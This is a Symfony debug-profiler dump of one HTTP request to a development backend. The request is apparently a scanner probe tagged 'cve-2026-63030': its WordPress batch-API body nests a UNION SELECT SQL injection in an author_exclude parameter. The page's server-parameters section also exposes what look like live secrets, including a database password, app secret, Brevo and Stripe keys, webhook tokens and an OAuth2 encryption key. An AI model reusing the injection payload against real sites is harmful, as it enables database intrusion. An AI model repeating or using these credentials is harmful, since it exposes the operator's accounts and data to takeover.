n/a
Request
GET Parameters
| Key | Value |
|---|---|
| rest_route | "/batch/v1" |
POST Parameters
No POST parameters
Uploaded Files
No files were uploaded
Request Attributes
| Key | Value |
|---|---|
| _remove_csp_headers | true |
| _stopwatch_token | "1fef30" |
Request Headers
| Header | Value |
|---|---|
| accept-encoding | "identity" |
| connection | "close" |
| content-length | "735" |
| content-type | "application/json" |
| host | "b2c-back.dev.globalcoss.com" |
| user-agent | "cve-2026-63030/1.0" |
| x-php-ob-level | "1" |
Request Content
Pretty
{
"requests": [
{
"method": "POST",
"path": "\/\/\/"
},
{
"method": "POST",
"path": "\/wp\/v2\/posts",
"body": {
"requests": [
{
"method": "POST",
"path": "\/\/\/"
},
{
"method": "GET",
"path": "\/wp\/v2\/posts\/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500"
},
{
"method": "GET",
"path": "\/wp\/v2\/posts"
}
]
}
},
{
"method": "POST",
"path": "\/batch\/v1",
"body": {
"requests": []
}
}
]
}
Raw
{"requests": [{"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": [{"method": "POST", "path": "///"}, {"method": "GET", "path": "/wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500"}, {"method": "GET", "path": "/wp/v2/posts"}]}}, {"method": "POST", "path": "/batch/v1", "body": {"requests": []}}]}
Response
Response Headers
| Header | Value |
|---|---|
| cache-control | "no-cache, private" |
| content-type | "text/html; charset=UTF-8" |
| date | "Fri, 09 Oct 2026 09:41:30 GMT" |
| x-debug-exception | "No%20matching%20accepted%20Response%20format%20could%20be%20determined" |
| x-debug-exception-file | "%2Fvar%2Fwww%2Fcoss-b2c-backend%2Fvendor%2Ffriendsofsymfony%2Frest-bundle%2FEventListener%2FFormatListener.php:59" |
| x-debug-token | "287c8d" |
| x-debug-token-link | "https://b2c-back.dev.globalcoss.com/_profiler/4fcb80" |
| x-previous-debug-token | "4fcb80" |
| x-robots-tag | "noindex" |
Cookies
Request Cookies
No request cookies
Response Cookies
No response cookies
Session
Session Metadata
No session metadata
Session Attributes
No session attributes
Session Usage
0
Usages
Stateless check enabled
Session not used.
Flashes
Flashes
No flash messages were created.
Server Parameters
Server Parameters
Defined in .env
| Key | Value |
|---|---|
| API_ACQUISITION_TOKEN | "CvHcunDfL9udPtg9cklVAIBbBtdn0Lr0Cmo7SUVUWVCSeejgHKvBMIsHU5pIVkIN" |
| APP_ENV | "dev" |
| APP_MIN_VERSION_ANDROID | "2.0.0" |
| APP_MIN_VERSION_IOS | "2.0.0" |
| APP_SECRET | "b00fb2916c6fbb39f55f4bffc183dbf1" |
| APP_URL | "https://b2c-back.dev.globalcoss.com" |
| BREVO_API_KEY | "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" |
| BREVO_WEBHOOK_TOKEN | "vpco07KLRWtQHyrqYwpAGQ8SgW8rfL246CyjbO46E0fRQDs1biO9fOpHqukd97I9" |
| CORS_ALLOW_ORIGIN | "^https?://(localhost|127\.0\.0\.1)(:[0-9]+)?$" |
| DATABASE_URL | "mysql://b2c:eJ2diTA8BgZ4wLZn*Xr_ToTY3iQFsYsz@127.0.0.1:3306/b2c?serverVersion=mariadb-10.5.15" |
| DOMOSCIO_CLIENT_ID | "109" |
| DOMOSCIO_TOKEN | "ae9e3deb62b07ac2c400d9dff2b67453" |
| MAILER_DSN | "sendinblue+api://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@default" |
| MESSENGER_TRANSPORT_DSN | "doctrine://default?auto_setup=0" |
| NODE_BINARY | "/home/ubuntu/.nvm/versions/node/v18.20.5/bin/node" |
| OAUTH2_ENCRYPTION_KEY | "kNT+Bs0jMhnwfY7XGiMttB6n6OlOy+A5yIYTBz+8EDg=" |
| SENTRY_DSN | "https://a449a77e87a83d0ccb3c8d7b3e0045aa@o4506439126810624.ingest.us.sentry.io/4511150336638976" |
| STRIPE_SECRET_KEY | "sk_test_51TsgDNGy0ijIbhXkfAiVFWC6AyhahSSxlUaBN0IlWEWwdyFZ2k61pT7V9cBobUywzooZUufOdvMXn5o9yN4Eye2o00DoX9zOvE" |
| STRIPE_WEBHOOK_SECRET | "whsec_rCoF2WcGmOC1iBjry6TyO6qULzucMa76" |
Defined as regular env variables
| Key | Value |
|---|---|
| APP_DEBUG | "1" |
| CONTENT_LENGTH | "735" |
| CONTENT_TYPE | "application/json" |
| DOCUMENT_ROOT | "/var/www/coss-b2c-backend/public" |
| DOCUMENT_URI | "/index.php" |
| FCGI_ROLE | "RESPONDER" |
| GATEWAY_INTERFACE | "CGI/1.1" |
| HOME | "/home/ubuntu" |
| HTTPS | "on" |
| HTTP_ACCEPT_ENCODING | "identity" |
| HTTP_CONNECTION | "close" |
| HTTP_CONTENT_LENGTH | "735" |
| HTTP_CONTENT_TYPE | "application/json" |
| HTTP_HOST | "b2c-back.dev.globalcoss.com" |
| HTTP_USER_AGENT | "cve-2026-63030/1.0" |
| PHP_SELF | "/index.php" |
| QUERY_STRING | "rest_route=/batch/v1" |
| REDIRECT_STATUS | "200" |
| REMOTE_ADDR | "161.118.214.16" |
| REMOTE_PORT | "55169" |
| REMOTE_USER | "" |
| REQUEST_METHOD | "POST" |
| REQUEST_SCHEME | "https" |
| REQUEST_TIME | 1791538890 |
| REQUEST_TIME_FLOAT | 1791538890.1522 |
| REQUEST_URI | "/?rest_route=/batch/v1" |
| SCRIPT_FILENAME | "/var/www/coss-b2c-backend/public/index.php" |
| SCRIPT_NAME | "/index.php" |
| SERVER_ADDR | "57.129.74.50" |
| SERVER_NAME | "b2c-back.dev.globalcoss.com" |
| SERVER_PORT | "443" |
| SERVER_PROTOCOL | "HTTP/1.1" |
| SERVER_SOFTWARE | "nginx/1.24.0" |
| SYMFONY_DOTENV_VARS | "APP_ENV,APP_SECRET,MESSENGER_TRANSPORT_DSN,DATABASE_URL,MAILER_DSN,OAUTH2_ENCRYPTION_KEY,CORS_ALLOW_ORIGIN,DOMOSCIO_CLIENT_ID,DOMOSCIO_TOKEN,APP_MIN_VERSION_ANDROID,APP_MIN_VERSION_IOS,SENTRY_DSN,APP_URL,API_ACQUISITION_TOKEN,BREVO_API_KEY,STRIPE_WEBHOOK_SECRET,STRIPE_SECRET_KEY,BREVO_WEBHOOK_TOKEN,NODE_BINARY" |
| USER | "ubuntu" |